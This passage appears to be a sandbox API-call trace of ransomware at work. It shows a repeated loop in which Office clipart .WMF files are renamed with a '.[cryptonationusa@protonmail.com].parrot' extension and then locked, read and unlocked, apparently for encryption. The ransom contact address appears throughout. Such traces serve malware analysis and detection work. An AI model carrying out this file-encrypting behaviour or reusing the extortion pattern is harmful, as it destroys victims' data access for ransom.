Office\\CLIPART\\PUB60COR\\PE02282_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.014] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x41a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.014] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.014] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.015] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.015] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4090, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4090, lpOverlapped=0x0) returned 1 [0149.017] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.017] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x41a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.017] CloseHandle (hObject=0x288) returned 1 [0149.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.022] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x469c, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.022] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.022] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.023] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.023] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4584, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4584, lpOverlapped=0x0) returned 1 [0149.024] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.024] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x469c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.025] CloseHandle (hObject=0x288) returned 1 [0149.025] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.028] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x77f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.028] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.028] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.067] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.067] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x76e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x76e0, lpOverlapped=0x0) returned 1 [0149.069] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.070] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x77f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.070] CloseHandle (hObject=0x288) returned 1 [0149.071] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.077] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5968, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.077] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.077] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.078] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.078] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5850, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5850, lpOverlapped=0x0) returned 1 [0149.080] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.081] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5968, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.081] CloseHandle (hObject=0x288) returned 1 [0149.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.085] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5440, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.085] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.085] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.087] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.087] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5328, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5328, lpOverlapped=0x0) returned 1 [0149.088] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.088] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5440, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.088] CloseHandle (hObject=0x288) returned 1 [0149.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.092] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.092] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.092] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.093] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.094] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8c0, lpOverlapped=0x0) returned 1 [0149.094] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.094] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.094] CloseHandle (hObject=0x288) returned 1 [0149.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.098] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b10, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.098] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.098] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.099] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.100] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x39f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x39f8, lpOverlapped=0x0) returned 1 [0149.101] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.101] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.101] CloseHandle (hObject=0x288) returned 1 [0149.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.105] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e42, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.105] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.105] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.111] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.111] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d2a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d2a, lpOverlapped=0x0) returned 1 [0149.112] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.113] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e42, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.113] CloseHandle (hObject=0x288) returned 1 [0149.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.118] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd88, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.118] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.118] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.120] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.120] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc70, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc70, lpOverlapped=0x0) returned 1 [0149.121] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.121] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd88, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.121] CloseHandle (hObject=0x288) returned 1 [0149.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.130] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x72c, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.130] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.130] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.132] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.132] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x614, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x614, lpOverlapped=0x0) returned 1 [0149.132] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.133] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x72c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.133] CloseHandle (hObject=0x288) returned 1 [0149.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.139] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.139] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.139] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.141] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.141] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8b4, lpOverlapped=0x0) returned 1 [0149.142] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.142] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.142] CloseHandle (hObject=0x288) returned 1 [0149.142] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.147] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3498, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.147] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.147] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.150] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.150] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3380, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3380, lpOverlapped=0x0) returned 1 [0149.153] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.154] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3498, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.154] CloseHandle (hObject=0x288) returned 1 [0149.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.160] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7aa, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.160] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.160] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.162] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.162] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x692, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x692, lpOverlapped=0x0) returned 1 [0149.162] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.162] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7aa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.162] CloseHandle (hObject=0x288) returned 1 [0149.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.167] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2944, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.167] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.167] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.169] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.169] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x282c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x282c, lpOverlapped=0x0) returned 1 [0149.170] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.170] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2944, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.170] CloseHandle (hObject=0x288) returned 1 [0149.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.175] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2220, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.175] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, 